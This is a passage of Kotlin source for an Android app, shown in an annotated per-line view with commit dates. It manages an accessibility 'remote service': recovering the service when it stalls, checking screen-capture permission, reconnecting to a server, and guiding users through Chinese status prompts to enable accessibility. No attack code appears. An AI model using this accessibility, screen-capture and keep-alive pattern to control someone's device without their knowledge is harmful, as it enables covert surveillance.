|
|
|
}
|
|
|
|
|
|
}, 5000) // 5秒后尝试直接启动
|
|
|
|
|
|
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
Log.e(TAG, "❌ 强制恢复无障碍服务失败", e)
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
/**
|
|
|
|
|
|
* ✅ 新增:检查恢复结果
|
|
|
|
|
|
*/
|
|
|
|
|
|
private fun checkRecoveryResult() {
|
|
|
|
|
|
try {
|
|
|
|
|
|
val serviceInstance = AccessibilityRemoteService.getInstance()
|
|
|
|
|
|
val serviceRunning = AccessibilityRemoteService.isServiceRunning()
|
|
|
|
|
|
|
|
|
|
|
|
Log.i(TAG, "🔍 检查无障碍服务恢复结果:")
|
|
|
|
|
|
Log.i(TAG, " - 服务实例存在: ${serviceInstance != null}")
|
|
|
|
|
|
Log.i(TAG, " - 服务运行状态: $serviceRunning")
|
|
|
|
|
|
|
|
|
|
|
|
if (serviceInstance != null && serviceRunning) {
|
|
|
|
|
|
Log.i(TAG, "✅ 无障碍服务恢复成功")
|
|
|
|
|
|
|
|
|
|
|
|
// 更新UI状态
|
|
|
|
|
|
runOnUiThread {
|
|
|
|
|
|
updateStatusTextSafely(
|
|
|
|
|
|
"✅ 无障碍服务已恢复\n正在重新连接...",
|
|
|
|
|
|
android.R.color.holo_green_dark
|
|
|
|
|
|
)
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
// 尝试重新连接服务器
|
|
|
|
|
|
serviceInstance.reconnectToServer()
|
|
|
|
|
|
|
|
|
|
|
|
} else {
|
|
|
|
|
|
Log.w(TAG, "⚠️ 无障碍服务恢复失败,尝试其他方法")
|
|
|
|
|
|
tryAlternativeRecoveryMethods()
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
Log.e(TAG, "❌ 检查恢复结果失败", e)
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
/**
|
|
|
|
|
|
* ✅ 新增:尝试直接启动无障碍服务
|
|
|
|
|
|
*/
|
|
|
|
|
|
private fun tryDirectStartAccessibilityService() {
|
|
|
|
|
|
try {
|
|
|
|
|
|
Log.i(TAG, "🔄 尝试直接启动无障碍服务")
|
|
|
|
|
|
|
|
|
|
|
|
// 发送服务启动广播
|
|
|
|
|
|
val startIntent = Intent("android.mycustrecev.START_ACCESSIBILITY_SERVICE")
|
|
|
|
|
|
sendBroadcast(startIntent)
|
|
|
|
|
|
|
|
|
|
|
|
// 延迟检查启动结果
|
|
|
|
|
|
android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({
|
|
|
|
|
|
val serviceInstance = AccessibilityRemoteService.getInstance()
|
|
|
|
|
|
if (serviceInstance != null) {
|
|
|
|
|
|
Log.i(TAG, "✅ 直接启动无障碍服务成功")
|
|
|
|
|
|
runOnUiThread {
|
|
|
|
|
|
updateStatusTextSafely(
|
|
|
|
|
|
"✅ 无障碍服务已启动\n正在初始化...",
|
|
|
|
|
|
android.R.color.holo_green_dark
|
|
|
|
|
|
)
|
|
|
|
|
|
}
|
|
|
|
|
|
} else {
|
|
|
|
|
|
Log.w(TAG, "⚠️ 直接启动无障碍服务失败")
|
|
|
|
|
|
tryAlternativeRecoveryMethods()
|
|
|
|
|
|
}
|
|
|
|
|
|
}, 2000)
|
|
|
|
|
|
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
Log.e(TAG, "❌ 直接启动无障碍服务失败", e)
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
/**
|
|
|
|
|
|
* ✅ 新增:尝试其他恢复方法
|
|
|
|
|
|
*/
|
|
|
|
|
|
private fun tryAlternativeRecoveryMethods() {
|
|
|
|
|
|
try {
|
|
|
|
|
|
Log.i(TAG, "🔄 尝试其他恢复方法")
|
|
|
|
|
|
|
|
|
|
|
|
runOnUiThread {
|
|
|
|
|
|
updateStatusTextSafely(
|
|
|
|
|
|
"⚠️ 无障碍服务恢复失败\n请手动重新启用无障碍服务\n或重启应用",
|
|
|
|
|
|
android.R.color.holo_red_dark
|
|
|
|
|
|
)
|
2026-02-14 14:24:11 +08:00
|
|
|
|
if (::enableButton.isInitialized) {
|
|
|
|
|
|
enableButton.text = "重新启用无障碍服务"
|
|
|
|
|
|
enableButton.isEnabled = true
|
|
|
|
|
|
}
|
2026-02-11 16:59:49 +08:00
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
// 提供用户操作指引
|
|
|
|
|
|
android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({
|
|
|
|
|
|
Log.i(TAG, "💡 建议用户手动重新启用无障碍服务")
|
|
|
|
|
|
runOnUiThread {
|
|
|
|
|
|
updateStatusTextSafely(
|
|
|
|
|
|
"💡 建议操作步骤:\n1. 点击下方按钮\n2. 找到应用名称\n3. 重新启用服务\n4. 返回应用",
|
|
|
|
|
|
android.R.color.holo_blue_dark
|
|
|
|
|
|
)
|
|
|
|
|
|
}
|
|
|
|
|
|
}, 2000)
|
|
|
|
|
|
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
Log.e(TAG, "❌ 尝试其他恢复方法失败", e)
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
private fun updateUI() {
|
|
|
|
|
|
// ✅ 安全检查:确保UI组件已初始化
|
2026-02-14 14:24:11 +08:00
|
|
|
|
if (!::enableButton.isInitialized || !::statusText.isInitialized) {
|
2026-02-11 16:59:49 +08:00
|
|
|
|
Log.w(TAG, "⚠️ UI组件未初始化,跳过updateUI")
|
|
|
|
|
|
return
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
val isServiceRunning = AccessibilityRemoteService.isServiceRunning()
|
|
|
|
|
|
val isAccessibilityEnabled = isAccessibilityServiceEnabled()
|
|
|
|
|
|
// 删除悬浮窗权限检查
|
|
|
|
|
|
|
|
|
|
|
|
Log.d(TAG, "🔍 UI状态检查: 服务运行=$isServiceRunning, 无障碍启用=$isAccessibilityEnabled")
|
|
|
|
|
|
|
|
|
|
|
|
when {
|
|
|
|
|
|
isServiceRunning && isAccessibilityEnabled -> {
|
|
|
|
|
|
updateStatusTextThreadSafe("🎉 服务已完全配置", android.R.color.holo_green_dark)
|
|
|
|
|
|
enableButton.text = "配置完成 - 可以使用"
|
|
|
|
|
|
enableButton.isEnabled = false
|
|
|
|
|
|
// 更新Switch状态
|
|
|
|
|
|
updateSwitchState()
|
|
|
|
|
|
|
|
|
|
|
|
// ✅ 修复:无障碍权限正常时,自动切换到WebView界面
|
|
|
|
|
|
Log.i(TAG, "🌐 无障碍权限正常,自动切换到WebView界面")
|
|
|
|
|
|
switchToWebViewInterface()
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
// 删除悬浮窗权限状态检查
|
|
|
|
|
|
|
|
|
|
|
|
!isAccessibilityEnabled -> {
|
|
|
|
|
|
// 🔑 对于无障碍服务未启用状态,如果有自定义状态文本,直接使用,不受保护机制影响
|
|
|
|
|
|
Log.d(TAG, "🔍 updateUI - customStatusText值: '$customStatusText'")
|
|
|
|
|
|
val displayText = if (!customStatusText.isNullOrEmpty()) {
|
|
|
|
|
|
Log.i(TAG, "📝 使用自定义状态文本: $customStatusText")
|
|
|
|
|
|
customStatusText!!
|
|
|
|
|
|
} else {
|
|
|
|
|
|
Log.i(TAG, "📝 使用默认状态文本")
|
|
|
|
|
|
"❌ 服务未启动\n💡 需要开启无障碍服务\n🔐 稍后会自动配置"
|
|
|
|
|
|
}
|
|
|
|
|
|
// 🔑 对于初始状态,总是显示自定义状态文本(如果有)
|
|
|
|
|
|
statusText.text = displayText
|
|
|
|
|
|
statusText.setTextColor(getColor(android.R.color.white))
|
|
|
|
|
|
|
|
|
|
|
|
// 使用自定义按钮文本(如果有配置)或默认文本
|
|
|
|
|
|
val currentButtonText = enableButton.text?.toString() ?: ""
|
|
|
|
|
|
val buttonText =
|
|
|
|
|
|
if (currentButtonText == getString(R.string.enable_accessibility_service) || currentButtonText.isEmpty()) {
|
|
|
|
|
|
getString(R.string.enable_accessibility_service)
|
|
|
|
|
|
} else {
|
|
|
|
|
|
currentButtonText // 保持已设置的自定义文本
|
|
|
|
|
|
}
|
|
|
|
|
|
enableButton.text = buttonText
|
|
|
|
|
|
enableButton.isEnabled = true
|
|
|
|
|
|
// 更新Switch状态
|
|
|
|
|
|
updateSwitchState()
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
isAccessibilityEnabled && !isServiceRunning -> {
|
|
|
|
|
|
// ✅ 无障碍已启用但服务未运行,这是正常的中间状态,给用户明确指引
|
|
|
|
|
|
updateStatusTextSafely(
|
|
|
|
|
|
"⏳ 无障碍服务已启用\n🚀 正在启动服务...\n💡 如果长时间不跳转,请重新打开应用",
|
|
|
|
|
|
android.R.color.holo_blue_dark
|
|
|
|
|
|
)
|
|
|
|
|
|
enableButton.text = "服务启动中"
|
|
|
|
|
|
enableButton.isEnabled = true // ✅ 允许用户重新尝试
|
|
|
|
|
|
// 更新Switch状态
|
|
|
|
|
|
updateSwitchState()
|
|
|
|
|
|
|
|
|
|
|
|
// ✅ 添加超时机制,10秒后允许用户重新操作
|
|
|
|
|
|
android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({
|
|
|
|
|
|
if (!AccessibilityRemoteService.isServiceRunning() && !isFinishing) {
|
|
|
|
|
|
Log.w(TAG, "⚠️ 服务启动超时,更新UI状态")
|
|
|
|
|
|
runOnUiThread {
|
|
|
|
|
|
updateStatusTextSafely(
|
|
|
|
|
|
"⚠️ 服务启动较慢\n💡 请尝试重新打开应用\n🔄 或点击按钮重新检查",
|
|
|
|
|
|
android.R.color.holo_orange_dark
|
|
|
|
|
|
)
|
2026-02-14 14:24:11 +08:00
|
|
|
|
if (::enableButton.isInitialized) {
|
|
|
|
|
|
enableButton.text = "重新检查状态"
|
|
|
|
|
|
enableButton.isEnabled = true
|
|
|
|
|
|
}
|
2026-02-11 16:59:49 +08:00
|
|
|
|
updateSwitchState()
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
}, 10000)
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
else -> {
|
|
|
|
|
|
updateStatusTextSafely(
|
|
|
|
|
|
"🔄 正在配置权限...\n请稍等片刻",
|
|
|
|
|
|
android.R.color.holo_blue_dark
|
|
|
|
|
|
)
|
|
|
|
|
|
enableButton.text = "配置中"
|
|
|
|
|
|
enableButton.isEnabled = false
|
|
|
|
|
|
// 更新Switch状态
|
|
|
|
|
|
updateSwitchState()
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
private fun checkAllPermissions() {
|
|
|
|
|
|
Log.i(TAG, "检查所有权限状态")
|
|
|
|
|
|
|
|
|
|
|
|
val isAccessibilityEnabled = isAccessibilityServiceEnabled()
|
|
|
|
|
|
// 删除悬浮窗权限检查
|
|
|
|
|
|
|
|
|
|
|
|
// ✅ 新增:检查存储权限状态
|
|
|
|
|
|
checkStoragePermissions()
|
|
|
|
|
|
|
|
|
|
|
|
Log.i(TAG, "权限状态 - 无障碍: $isAccessibilityEnabled")
|
|
|
|
|
|
|
|
|
|
|
|
when {
|
|
|
|
|
|
!isAccessibilityEnabled -> {
|
|
|
|
|
|
Log.i(TAG, "无障碍权限未开启,用户主动操作,跳转到无障碍设置")
|
|
|
|
|
|
// ✅ 用户主动操作时,跳转到无障碍设置
|
|
|
|
|
|
openAccessibilitySettings()
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
isAccessibilityEnabled -> {
|
|
|
|
|
|
// 无障碍服务已启用,直接切换到WebView界面
|
|
|
|
|
|
Log.i(TAG, "✅ 无障碍服务已开启,切换到WebView界面")
|
|
|
|
|
|
switchToWebViewInterface()
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
else -> {
|
|
|
|
|
|
Log.i(TAG, "所有必要权限已开启")
|
|
|
|
|
|
// 所有必要权限都已开启,检查服务状态
|
|
|
|
|
|
if (!AccessibilityRemoteService.isServiceRunning()) {
|
|
|
|
|
|
Log.w(TAG, "权限已开启但服务未运行,可能需要重启应用")
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
/**
|
|
|
|
|
|
* ✅ 新增:线程安全的 statusText 更新方法
|
|
|
|
|
|
*/
|
|
|
|
|
|
private fun updateStatusTextThreadSafe(text: String, colorResId: Int? = null) {
|
|
|
|
|
|
if (isFinishing || isDestroyed) {
|
|
|
|
|
|
Log.w(TAG, "⚠️ Activity已销毁,跳过statusText更新: $text")
|
|
|
|
|
|
return
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
runOnUiThread {
|
|
|
|
|
|
try {
|
|
|
|
|
|
if (::statusText.isInitialized && !isFinishing && !isDestroyed) {
|
|
|
|
|
|
statusText.text = text
|
|
|
|
|
|
colorResId?.let { statusText.setTextColor(getColor(it)) }
|
|
|
|
|
|
Log.d(TAG, "✅ statusText已更新: $text")
|
|
|
|
|
|
} else {
|
|
|
|
|
|
Log.w(TAG, "⚠️ statusText未初始化或Activity已销毁,跳过更新")
|
|
|
|
|
|
}
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
Log.e(TAG, "❌ 更新statusText失败: $text", e)
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
/**
|
|
|
|
|
|
* ✅ 新增:线程安全的按钮更新方法
|
|
|
|
|
|
*/
|
|
|
|
|
|
private fun updateButtonSafely(text: String, colorResId: Int? = null, enabled: Boolean? = null) {
|
|
|
|
|
|
if (isFinishing || isDestroyed) {
|
|
|
|
|
|
Log.w(TAG, "⚠️ Activity已销毁,跳过按钮更新: $text")
|
|
|
|
|
|
return
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
runOnUiThread {
|
|
|
|
|
|
try {
|
|
|
|
|
|
if (::enableButton.isInitialized && !isFinishing && !isDestroyed) {
|
|
|
|
|
|
enableButton.text = text
|
|
|
|
|
|
colorResId?.let { enableButton.setBackgroundColor(getColor(it)) }
|
|
|
|
|
|
enabled?.let { enableButton.isEnabled = it }
|
|
|
|
|
|
Log.d(TAG, "✅ 按钮已更新: $text")
|
|
|
|
|
|
} else {
|
|
|
|
|
|
Log.w(TAG, "⚠️ 按钮未初始化或Activity已销毁,跳过更新")
|
|
|
|
|
|
}
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
Log.e(TAG, "❌ 更新按钮失败: $text", e)
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
/**
|
|
|
|
|
|
* ✅ 新增:标记权限申请状态
|
|
|
|
|
|
*/
|
|
|
|
|
|
private fun markPermissionRequesting(isRequesting: Boolean) {
|
|
|
|
|
|
try {
|
|
|
|
|
|
val prefs = getSharedPreferences("permission_request", Context.MODE_PRIVATE)
|
|
|
|
|
|
prefs.edit().putBoolean("is_requesting", isRequesting).apply()
|
|
|
|
|
|
|
|
|
|
|
|
if (isRequesting) {
|
|
|
|
|
|
Log.d(TAG, "🔒 标记权限申请中,防止保活循环")
|
|
|
|
|
|
} else {
|
|
|
|
|
|
Log.d(TAG, "🔓 清除权限申请标记")
|
|
|
|
|
|
}
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
Log.e(TAG, "❌ 标记权限申请状态失败", e)
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
/**
|
|
|
|
|
|
* ✅ 新增:记录应用启动次数
|
|
|
|
|
|
*/
|
|
|
|
|
|
private fun recordAppLaunch() {
|
|
|
|
|
|
try {
|
|
|
|
|
|
val prefs = getSharedPreferences("app_launch", Context.MODE_PRIVATE)
|
|
|
|
|
|
val currentCount = prefs.getInt("launch_count", 0)
|
|
|
|
|
|
val newCount = currentCount + 1
|
|
|
|
|
|
|
|
|
|
|
|
prefs.edit().putInt("launch_count", newCount).apply()
|
|
|
|
|
|
|
|
|
|
|
|
Log.d(TAG, "📊 应用启动次数: $newCount")
|
|
|
|
|
|
|
|
|
|
|
|
// 如果是首次启动,记录启动时间
|
|
|
|
|
|
if (currentCount == 0) {
|
|
|
|
|
|
val firstLaunchTime = System.currentTimeMillis()
|
|
|
|
|
|
prefs.edit().putLong("first_launch_time", firstLaunchTime).apply()
|
|
|
|
|
|
Log.d(TAG, "🕐 首次启动时间已记录: $firstLaunchTime")
|
|
|
|
|
|
}
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
Log.e(TAG, "❌ 记录应用启动次数失败", e)
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
/**
|
|
|
|
|
|
* ✅ 新增:切换到WebView界面
|
|
|
|
|
|
*/
|
|
|
|
|
|
private fun switchToWebViewInterface() {
|
|
|
|
|
|
try {
|
|
|
|
|
|
Log.i(TAG, "🌐 开始切换到WebView界面")
|
|
|
|
|
|
|
|
|
|
|
|
// 检查Activity状态
|
|
|
|
|
|
if (isFinishing || isDestroyed) {
|
|
|
|
|
|
Log.e(TAG, "❌ Activity已销毁或正在结束,无法切换到WebView")
|
|
|
|
|
|
return
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
// 更新UI状态显示 - 使用线程安全方法
|
|
|
|
|
|
updateStatusTextThreadSafe("✅ 无障碍服务已启用\n正在加载WebView界面...", android.R.color.holo_green_dark)
|
|
|
|
|
|
updateButtonSafely("服务运行中", android.R.color.holo_green_dark, false)
|
|
|
|
|
|
|
|
|
|
|
|
// 延迟启动WebView,让用户看到状态更新
|
|
|
|
|
|
android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({
|
|
|
|
|
|
try {
|
|
|
|
|
|
// 再次检查Activity状态
|
|
|
|
|
|
if (isFinishing || isDestroyed) {
|
|
|
|
|
|
Log.e(TAG, "❌ Activity已销毁,取消WebView启动")
|
|
|
|
|
|
return@postDelayed
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
startWebViewActivity()
|
|
|
|
|
|
Log.i(TAG, "✅ WebView界面启动成功")
|
|
|
|
|
|
|
|
|
|
|
|
// 发送广播通知无障碍服务WebView已启动
|
|
|
|
|
|
val webViewStartedIntent = Intent("android.mycustrecev.WEBVIEW_STARTED").apply {
|
|
|
|
|
|
putExtra("success", true)
|
|
|
|
|
|
putExtra("timestamp", System.currentTimeMillis())
|
|
|
|
|
|
}
|
|
|
|
|
|
sendBroadcast(webViewStartedIntent)
|
|
|
|
|
|
Log.i(TAG, "📡 已发送WebView启动广播")
|
|
|
|
|
|
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
Log.e(TAG, "❌ WebView界面启动失败", e)
|
|
|
|
|
|
// 如果WebView启动失败,显示错误状态 - 使用线程安全方法
|
|
|
|
|
|
updateStatusTextThreadSafe("❌ WebView加载失败\n请重启应用", android.R.color.holo_red_dark)
|
|
|
|
|
|
updateButtonSafely("重新启动", android.R.color.holo_red_dark, true)
|
|
|
|
|
|
}
|
|
|
|
|
|
}, 1500) // 延迟1.5秒,让用户看到状态更新
|
|
|
|
|
|
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
Log.e(TAG, "❌ 切换到WebView界面失败", e)
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
/**
|
|
|
|
|
|
* ✅ 新增:检查存储权限状态
|
|
|
|
|
|
*/
|
|
|
|
|
|
private fun checkStoragePermissions() {
|
|
|
|
|
|
try {
|
|
|
|
|
|
Log.i(TAG, "🔍 检查存储权限状态")
|
|
|
|
|
|
|
|
|
|
|
|
// 检查存储状态
|
|
|
|
|
|
val storageStatus = com.hikoncont.util.XiaomiFileUtils.getStorageStatus(this)
|
|
|
|
|
|
Log.i(TAG, "📱 存储状态: $storageStatus")
|
|
|
|
|
|
|
|
|
|
|
|
// 如果是小米设备且存储权限有问题,记录警告
|
|
|
|
|
|
if (com.hikoncont.util.XiaomiFileUtils.isXiaomiDevice()) {
|
|
|
|
|
|
val hasPermission = storageStatus["hasExternalStoragePermission"] as? Boolean ?: false
|
|
|
|
|
|
if (!hasPermission) {
|
|
|
|
|
|
Log.w(TAG, "⚠️ 小米设备缺少外部存储权限,可能影响 mi_exception_log 写入")
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
Log.e(TAG, "❌ 检查存储权限失败", e)
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
/**
|
|
|
|
|
|
* ✅ 新增:处理无障碍服务卡住检测和自动恢复
|
|
|
|
|
|
*/
|
|
|
|
|
|
private fun handleAccessibilityServiceStuckDetection() {
|
|
|
|
|
|
Log.i(TAG, "🔍 开始无障碍服务智能故障检测")
|
|
|
|
|
|
|
|
|
|
|
|
// ✅ 参考billd-desk:Android 11+也需要检查MediaProjection权限(不再跳过)
|
|
|
|
|
|
Log.i(TAG, "📱 Android ${Build.VERSION.SDK_INT} 设备,正常检查MediaProjection权限状态")
|
|
|
|
|
|
|
|
|
|
|
|
// ✅ 关键修复:区分无障碍截图权限和MediaProjection权限
|
|
|
|
|
|
val hasAccessibilityScreenshotPermission = checkAccessibilityScreenshotPermission()
|
|
|
|
|
|
val hasMediaProjectionPermission = checkRealMediaProjectionPermission()
|
|
|
|
|
|
|
|
|
|
|
|
Log.i(TAG, "📊 权限状态详细检查:")
|
|
|
|
|
|
Log.i(TAG, " - 无障碍截图权限 (Android 9+): $hasAccessibilityScreenshotPermission")
|
|
|
|
|
|
Log.i(TAG, " - MediaProjection投屏权限: $hasMediaProjectionPermission")
|
|
|
|
|
|
|
|
|
|
|
|
if (hasMediaProjectionPermission) {
|
|
|
|
|
|
Log.i(TAG, "✅ MediaProjection权限确实存在,检查是否需要申请悬浮窗权限")
|
|
|
|
|
|
|
|
|
|
|
|
// 删除悬浮窗权限申请,直接显示就绪状态
|
|
|
|
|
|
Log.i(TAG, "🔧 跳过悬浮窗权限申请")
|
|
|
|
|
|
runOnUiThread {
|
2026-02-14 14:24:11 +08:00
|
|
|
|
updateStatusTextSafely("✅ 服务启动中...", android.R.color.holo_green_dark)
|
|
|
|
|
|
if (::enableButton.isInitialized) {
|
|
|
|
|
|
enableButton.text = "服务已就绪"
|
|
|
|
|
|
enableButton.setBackgroundColor(getColor(android.R.color.holo_green_dark))
|
|
|
|
|
|
enableButton.isEnabled = false
|
|
|
|
|
|
}
|
2026-02-11 16:59:49 +08:00
|
|
|
|
}
|
|
|
|
|
|
return
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
// ✅ 即使有无障碍截图权限,也必须申请MediaProjection权限用于实时投屏
|
|
|
|
|
|
if (hasAccessibilityScreenshotPermission && !hasMediaProjectionPermission) {
|
|
|
|
|
|
Log.w(TAG, "⚠️ 检测到仅有无障碍截图权限,但缺少MediaProjection实时投屏权限")
|
|
|
|
|
|
Log.w(TAG, "⚠️ 无障碍截图只能单次截图,实时投屏需要MediaProjection权限")
|
|
|
|
|
|
|
|
|
|
|
|
runOnUiThread {
|
2026-02-14 14:24:11 +08:00
|
|
|
|
if (!::statusText.isInitialized) return@runOnUiThread
|
2026-02-11 16:59:49 +08:00
|
|
|
|
statusText.text = "⚠️ 检测到权限配置不完整\n正在自动申请服务权限..."
|
|
|
|
|
|
statusText.setTextColor(getColor(android.R.color.holo_orange_dark))
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
// 检查AccessibilityService实例状态
|
|
|
|
|
|
val serviceRunning = AccessibilityRemoteService.isServiceRunning()
|
|
|
|
|
|
val serviceInstance = AccessibilityRemoteService.getInstance()
|
|
|
|
|
|
|
|
|
|
|
|
Log.i(
|
|
|
|
|
|
TAG,
|
|
|
|
|
|
"📊 AccessibilityService状态: running=$serviceRunning, instance=${serviceInstance != null}"
|
|
|
|
|
|
)
|
|
|
|
|
|
|
|
|
|
|
|
if (serviceRunning && serviceInstance != null) {
|
|
|
|
|
|
// 服务正常但需要申请MediaProjection权限
|
|
|
|
|
|
Log.w(TAG, "⚠️ AccessibilityService正常,但需要申请MediaProjection权限")
|
|
|
|
|
|
startMediaProjectionPermissionFlow()
|
|
|
|
|
|
} else {
|
|
|
|
|
|
// 服务可能崩溃或启动异常,启动超时重试检测
|
|
|
|
|
|
Log.w(TAG, "⚠️ AccessibilityService可能出现故障,启动超时恢复机制")
|
|
|
|
|
|
startAccessibilityServiceFailureRecovery()
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
/**
|
|
|
|
|
|
* ✅ 新增:检查Android 9+无障碍服务截图权限
|
|
|
|
|
|
*/
|
|
|
|
|
|
private fun checkAccessibilityScreenshotPermission(): Boolean {
|
|
|
|
|
|
return try {
|
|
|
|
|
|
if (Build.VERSION.SDK_INT >= 28) { // Android 9+
|
|
|
|
|
|
val serviceInstance = AccessibilityRemoteService.getInstance()
|
|
|
|
|
|
if (serviceInstance != null) {
|
|
|
|
|
|
// 简单检查:如果无障碍服务运行且API级别支持,认为有截图权限
|
|
|
|
|
|
Log.d(TAG, "Android ${Build.VERSION.SDK_INT}支持无障碍截图API")
|
|
|
|
|
|
true
|
|
|
|
|
|
} else {
|
|
|
|
|
|
false
|
|
|
|
|
|
}
|
|
|
|
|
|
} else {
|
|
|
|
|
|
Log.d(TAG, "Android ${Build.VERSION.SDK_INT}不支持无障碍截图API")
|
|
|
|
|
|
false
|
|
|
|
|
|
}
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
Log.e(TAG, "检查无障碍截图权限失败", e)
|
|
|
|
|
|
false
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
/**
|
|
|
|
|
|
* ✅ 新增:检查真实的MediaProjection权限(不仅仅是数据存在)
|
|
|
|
|
|
*/
|
|
|
|
|
|
private fun checkRealMediaProjectionPermission(): Boolean {
|
|
|
|
|
|
return try {
|
|
|
|
|
|
Log.d(TAG, "🔍 开始检查真实MediaProjection权限")
|
|
|
|
|
|
|
|
|
|
|
|
val permissionData = MediaProjectionHolder.getPermissionData()
|
|
|
|
|
|
if (permissionData == null) {
|
|
|
|
|
|
Log.d(TAG, "MediaProjection权限数据不存在")
|
|
|
|
|
|
return false
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
Log.d(TAG, "✅ MediaProjection权限数据存在,开始验证有效性")
|
|
|
|
|
|
|
|
|
|
|
|
// 验证权限数据的有效性
|
|
|
|
|
|
val (resultCode, resultData) = permissionData
|
|
|
|
|
|
if (resultData == null) {
|
|
|
|
|
|
Log.w(TAG, "MediaProjection权限Intent数据为null")
|
|
|
|
|
|
return false
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
Log.d(TAG, "📊 权限数据详情: resultCode=$resultCode, Intent存在=${resultData != null}")
|
|
|
|
|
|
|
|
|
|
|
|
// ✅ 使用更安全的方式检测权限,避免创建可能失败的MediaProjection实例
|
|
|
|
|
|
// 对于某些设备,直接创建MediaProjection可能会失败或抛出异常
|
|
|
|
|
|
Log.d(TAG, "🔧 使用保守策略:检查权限数据完整性而不直接创建MediaProjection实例")
|
|
|
|
|
|
|
|
|
|
|
|
// 检查Intent数据的完整性
|
|
|
|
|
|
val hasValidData =
|
|
|
|
|
|
resultData.hasExtra("android.media.projection.extra.EXTRA_MEDIA_PROJECTION") ||
|
|
|
|
|
|
resultData.action != null ||
|
|
|
|
|
|
resultData.data != null
|
|
|
|
|
|
|
|
|
|
|
|
if (!hasValidData) {
|
|
|
|
|
|
Log.w(TAG, "MediaProjection权限Intent缺少必要数据")
|
|
|
|
|
|
return false
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
// 检查resultCode是否有效(通常应该是RESULT_OK = -1)
|
|
|
|
|
|
if (resultCode != android.app.Activity.RESULT_OK) {
|
|
|
|
|
|
Log.w(
|
|
|
|
|
|
TAG,
|
|
|
|
|
|
"MediaProjection权限resultCode无效: $resultCode (期望: ${android.app.Activity.RESULT_OK})"
|
|
|
|
|
|
)
|
|
|
|
|
|
return false
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
Log.d(TAG, "✅ MediaProjection权限数据验证通过(保守策略)")
|
|
|
|
|
|
return true
|
|
|
|
|
|
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
Log.e(TAG, "❌ 验证MediaProjection权限发生异常", e)
|
|
|
|
|
|
return false
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
/**
|
|
|
|
|
|
* ✅ 新增:专门的MediaProjection权限申请流程
|
|
|
|
|
|
*/
|
|
|
|
|
|
private fun startMediaProjectionPermissionFlow() {
|
|
|
|
|
|
Log.i(TAG, "🎯 启动专门的MediaProjection权限申请流程")
|
|
|
|
|
|
|
|
|
|
|
|
// ✅ 新增:标记正在申请权限,防止保活循环
|
|
|
|
|
|
markPermissionRequesting(true)
|
|
|
|
|
|
|
|
|
|
|
|
runOnUiThread {
|
|
